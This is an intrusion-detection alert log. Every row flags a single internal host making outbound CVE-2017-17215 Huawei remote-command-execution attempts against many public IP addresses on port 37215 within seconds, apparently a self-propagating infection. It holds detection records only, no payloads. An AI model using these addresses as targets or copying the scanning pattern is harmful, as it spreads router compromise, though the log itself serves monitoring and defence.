2024-12-30T11:58:33.010741+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41528	41.25.20.213	37215	TCP
2024-12-30T11:58:33.010942+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54148	197.40.63.23	37215	TCP
2024-12-30T11:58:33.011225+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41286	197.233.170.178	37215	TCP
2024-12-30T11:58:33.011309+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34228	197.140.83.173	37215	TCP
2024-12-30T11:58:33.011845+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50776	156.7.96.98	37215	TCP
2024-12-30T11:58:33.012153+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33610	41.237.37.41	37215	TCP
2024-12-30T11:58:33.012496+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43156	156.182.174.2	37215	TCP
2024-12-30T11:58:33.012568+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33398	197.208.52.207	37215	TCP
2024-12-30T11:58:33.013224+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42416	197.246.218.73	37215	TCP
2024-12-30T11:58:33.013794+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60050	156.19.18.216	37215	TCP
2024-12-30T11:58:33.032656+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47510	197.48.134.189	37215	TCP
2024-12-30T11:58:33.032659+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58486	156.202.105.35	37215	TCP
2024-12-30T11:58:33.032671+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56840	156.62.208.247	37215	TCP
2024-12-30T11:58:33.032672+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33706	197.167.251.9	37215	TCP
2024-12-30T11:58:33.032673+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58134	156.46.182.195	37215	TCP
2024-12-30T11:58:33.032687+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48846	41.20.164.130	37215	TCP
2024-12-30T11:58:33.032725+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33576	197.98.70.25	37215	TCP
2024-12-30T11:58:33.032727+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45746	41.188.10.23	37215	TCP
2024-12-30T11:58:33.032743+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48040	41.149.131.230	37215	TCP
2024-12-30T11:58:33.032784+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53152	156.106.104.75	37215	TCP
2024-12-30T11:58:33.032819+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43230	41.34.225.183	37215	TCP
2024-12-30T11:58:33.045596+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48592	156.17.174.6	37215	TCP
2024-12-30T11:58:33.047118+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54824	41.112.191.5	37215	TCP
2024-12-30T11:58:33.047125+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59270	41.182.67.190	37215	TCP
2024-12-30T11:58:33.047366+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53306	197.32.32.76	37215	TCP
2024-12-30T11:58:33.276446+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45000	197.144.183.161	37215	TCP
2024-12-30T11:58:33.276529+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40840	41.235.222.217	37215	TCP
2024-12-30T11:58:33.278303+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54882	156.180.119.226	37215	TCP
2024-12-30T11:58:33.291749+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57920	41.97.207.38	37215	TCP
2024-12-30T11:58:33.291854+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46450	41.18.43.210	37215	TCP
2024-12-30T11:58:33.291861+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38964	41.128.29.173	37215	TCP
2024-12-30T11:58:33.292011+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35052	41.105.60.23	37215	TCP
2024-12-30T11:58:33.292011+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33624	197.188.204.12	37215	TCP
2024-12-30T11:58:33.292629+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33474	197.94.136.42	37215	TCP
2024-12-30T11:58:33.292776+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49912	156.2.203.105	37215	TCP
2024-12-30T11:58:33.293846+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56500	197.35.235.54	37215	TCP
2024-12-30T11:58:33.295239+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41698	197.21.118.250	37215	TCP
2024-12-30T11:58:33.306449+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42848	197.109.36.50	37215	TCP
2024-12-30T11:58:33.306907+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59270	156.59.224.18	37215	TCP
2024-12-30T11:58:33.307036+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53300	197.204.96.138	37215	TCP
2024-12-30T11:58:33.307046+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59542	41.189.121.217	37215	TCP
2024-12-30T11:58:33.307129+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48052	41.64.243.137	37215	TCP
2024-12-30T11:58:33.307158+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49024	156.141.23.114	37215	TCP
2024-12-30T11:58:33.307416+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34134	41.214.140.154	37215	TCP
2024-12-30T11:58:33.307616+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58930	41.67.187.132	37215	TCP
2024-12-30T11:58:33.307832+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48214	41.14.138.172	37215	TCP
2024-12-30T11:58:33.307932+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57110	197.75.57.100	37215	TCP
2024-12-30T11:58:33.307978+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52224	156.209.225.158	37215	TCP
2024-12-30T11:58:33.308097+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33122	156.61.136.28	37215	TCP
2024-12-30T11:58:33.308295+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51376	156.88.218.113	37215	TCP
2024-12-30T11:58:33.308371+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55002	156.45.243.143	37215	TCP
2024-12-30T11:58:33.308398+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37298	156.149.165.219	37215	TCP
2024-12-30T11:58:33.308471+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38466	156.154.52.203	37215	TCP
2024-12-30T11:58:33.308734+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56802	41.92.28.226	37215	TCP
2024-12-30T11:58:33.308797+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49318	41.177.76.91	37215	TCP
2024-12-30T11:58:33.308834+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46068	197.54.249.204	37215	TCP
2024-12-30T11:58:33.308933+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53398	156.210.252.2	37215	TCP
2024-12-30T11:58:33.309018+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57954	197.25.188.200	37215	TCP
2024-12-30T11:58:33.309071+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33618	197.240.89.164	37215	TCP
2024-12-30T11:58:33.309130+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38262	41.149.85.49	37215	TCP
2024-12-30T11:58:33.309190+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45166	197.185.69.178	37215	TCP
2024-12-30T11:58:33.309466+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55306	197.81.139.237	37215	TCP
2024-12-30T11:58:33.309593+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43840	156.222.241.235	37215	TCP
2024-12-30T11:58:33.309834+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38210	156.38.138.118	37215	TCP
2024-12-30T11:58:33.309933+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59608	41.11.243.69	37215	TCP
2024-12-30T11:58:33.309997+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47632	156.41.81.18	37215	TCP
2024-12-30T11:58:33.310068+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40882	156.164.58.75	37215	TCP
2024-12-30T11:58:33.310148+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60474	41.146.12.227	37215	TCP
2024-12-30T11:58:33.310995+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42300	197.2.232.201	37215	TCP
2024-12-30T11:58:33.311081+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56258	156.176.132.126	37215	TCP
2024-12-30T11:58:33.311084+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45926	41.106.254.125	37215	TCP
2024-12-30T11:58:33.311260+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56736	197.160.247.104	37215	TCP
2024-12-30T11:58:33.311727+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49624	156.90.223.166	37215	TCP
2024-12-30T11:58:33.311900+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36472	41.221.219.170	37215	TCP
2024-12-30T11:58:33.312451+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51218	156.126.95.206	37215	TCP
2024-12-30T11:58:33.313134+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36426	197.92.59.248	37215	TCP
2024-12-30T11:58:33.313465+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33034	41.60.254.232	37215	TCP
2024-12-30T11:58:33.314049+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48902	41.143.227.24	37215	TCP
2024-12-30T11:58:33.314121+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47628	197.187.166.49	37215	TCP
2024-12-30T11:58:34.190850+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60270	41.34.19.210	37215	TCP
2024-12-30T11:58:34.322321+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55924	197.64.116.30	37215	TCP
2024-12-30T11:58:34.322331+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34516	156.113.80.31	37215	TCP
2024-12-30T11:58:34.322575+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60592	156.13.68.77	37215	TCP
2024-12-30T11:58:34.322634+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45632	41.62.125.56	37215	TCP
2024-12-30T11:58:34.322684+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49630	156.153.64.61	37215	TCP
2024-12-30T11:58:34.322731+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45700	197.15.134.48	37215	TCP
2024-12-30T11:58:34.322809+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44954	41.89.93.238	37215	TCP
2024-12-30T11:58:34.322901+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43242	197.173.173.246	37215	TCP
2024-12-30T11:58:34.322934+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48844	197.19.198.97	37215	TCP
2024-12-30T11:58:34.322996+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34588	197.235.56.4	37215	TCP
2024-12-30T11:58:34.323149+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39066	197.77.123.95	37215	TCP
2024-12-30T11:58:34.324296+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36306	156.106.233.154	37215	TCP
2024-12-30T11:58:34.324458+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46804	197.69.163.155	37215	TCP
2024-12-30T11:58:34.324548+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35710	41.90.214.101	37215	TCP
2024-12-30T11:58:34.324646+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48862	197.218.0.81	37215	TCP
2024-12-30T11:58:34.324944+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	32900	41.213.41.74	37215	TCP
2024-12-30T11:58:34.337812+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52628	156.7.46.234	37215	TCP
2024-12-30T11:58:34.338288+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49242	41.50.219.153	37215	TCP
2024-12-30T11:58:34.338390+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49636	197.165.15.60	37215	TCP
2024-12-30T11:58:34.338483+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42338	156.124.74.71	37215	TCP
2024-12-30T11:58:34.338509+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40502	156.27.11.136	37215	TCP
2024-12-30T11:58:34.338588+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45510	197.144.53.206	37215	TCP
2024-12-30T11:58:34.338640+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35294	197.19.202.31	37215	TCP
2024-12-30T11:58:34.338760+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58722	156.235.162.94	37215	TCP
2024-12-30T11:58:34.338825+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38900	156.198.249.66	37215	TCP
2024-12-30T11:58:34.339254+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39198	41.67.222.98	37215	TCP
2024-12-30T11:58:34.339339+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41840	197.109.65.167	37215	TCP
2024-12-30T11:58:34.339942+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42926	197.69.193.230	37215	TCP
2024-12-30T11:58:34.340061+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37752	41.236.110.200	37215	TCP
2024-12-30T11:58:34.340433+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33288	197.251.95.164	37215	TCP
2024-12-30T11:58:34.340475+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37454	156.155.33.244	37215	TCP
2024-12-30T11:58:34.342327+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48798	41.218.106.229	37215	TCP
2024-12-30T11:58:34.342446+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51216	197.39.230.71	37215	TCP
2024-12-30T11:58:34.343112+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51076	156.10.13.115	37215	TCP
2024-12-30T11:58:34.343196+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43452	197.18.39.194	37215	TCP
2024-12-30T11:58:34.343204+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55636	197.250.211.196	37215	TCP
2024-12-30T11:58:34.343756+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53804	197.32.93.1	37215	TCP
2024-12-30T11:58:34.343919+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40432	197.64.20.209	37215	TCP
2024-12-30T11:58:34.418415+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60408	156.164.215.79	37215	TCP
2024-12-30T11:58:34.422096+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45810	156.157.129.119	37215	TCP
2024-12-30T11:58:35.387230+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43174	156.115.229.100	37215	TCP
2024-12-30T11:58:35.387261+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51422	41.26.165.195	37215	TCP
2024-12-30T11:58:35.390813+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54338	41.81.140.90	37215	TCP
2024-12-30T11:58:35.422387+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37776	41.42.18.195	37215	TCP
2024-12-30T11:58:36.369803+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52902	156.232.111.124	37215	TCP
2024-12-30T11:58:36.369805+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53316	156.184.135.184	37215	TCP
2024-12-30T11:58:36.369941+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42144	197.207.188.130	37215	TCP
2024-12-30T11:58:36.369945+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59922	197.36.42.38	37215	TCP
2024-12-30T11:58:36.370511+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41800	197.16.249.219	37215	TCP
2024-12-30T11:58:36.371339+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44088	41.140.124.59	37215	TCP
2024-12-30T11:58:36.371474+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38662	197.98.225.122	37215	TCP
2024-12-30T11:58:36.371560+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44750	156.136.43.250	37215	TCP
2024-12-30T11:58:36.371641+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59562	156.200.197.140	37215	TCP
2024-12-30T11:58:36.371903+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50924	41.180.49.236	37215	TCP
2024-12-30T11:58:36.372002+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35222	156.100.80.106	37215	TCP
2024-12-30T11:58:36.373453+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54418	156.13.84.178	37215	TCP
2024-12-30T11:58:36.373847+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45330	197.17.1.56	37215	TCP
2024-12-30T11:58:36.384742+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35040	41.227.170.47	37215	TCP
2024-12-30T11:58:36.384792+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49144	156.57.243.107	37215	TCP
2024-12-30T11:58:36.385173+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38876	197.174.76.207	37215	TCP
2024-12-30T11:58:36.385291+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40198	197.1.22.107	37215	TCP
2024-12-30T11:58:36.385352+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59758	197.200.55.247	37215	TCP
2024-12-30T11:58:36.385458+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34870	197.244.249.122	37215	TCP
2024-12-30T11:58:36.385667+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60500	197.19.3.249	37215	TCP
2024-12-30T11:58:36.385709+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44044	197.15.54.40	37215	TCP
2024-12-30T11:58:36.385814+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52110	197.15.179.183	37215	TCP
2024-12-30T11:58:36.386372+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40042	197.52.4.59	37215	TCP
2024-12-30T11:58:36.386936+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50532	41.153.137.228	37215	TCP
2024-12-30T11:58:36.386943+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55654	197.36.158.71	37215	TCP
2024-12-30T11:58:36.387141+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60674	41.173.187.248	37215	TCP
2024-12-30T11:58:36.387328+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45646	41.243.254.225	37215	TCP
2024-12-30T11:58:36.387405+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53994	197.130.217.200	37215	TCP
2024-12-30T11:58:36.387678+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59780	156.97.78.132	37215	TCP
2024-12-30T11:58:36.388928+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52554	41.227.24.2	37215	TCP
2024-12-30T11:58:36.389319+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50880	197.196.96.67	37215	TCP
2024-12-30T11:58:36.389379+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47934	41.222.118.20	37215	TCP
2024-12-30T11:58:36.389420+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44906	156.238.46.79	37215	TCP
2024-12-30T11:58:36.389494+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58184	197.236.84.30	37215	TCP
2024-12-30T11:58:36.389806+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33626	156.89.229.196	37215	TCP
2024-12-30T11:58:36.389831+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50890	41.48.59.9	37215	TCP
2024-12-30T11:58:36.390834+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47536	197.173.158.252	37215	TCP
2024-12-30T11:58:36.434273+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46606	41.234.119.105	37215	TCP
2024-12-30T11:58:36.447994+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51234	197.86.238.208	37215	TCP
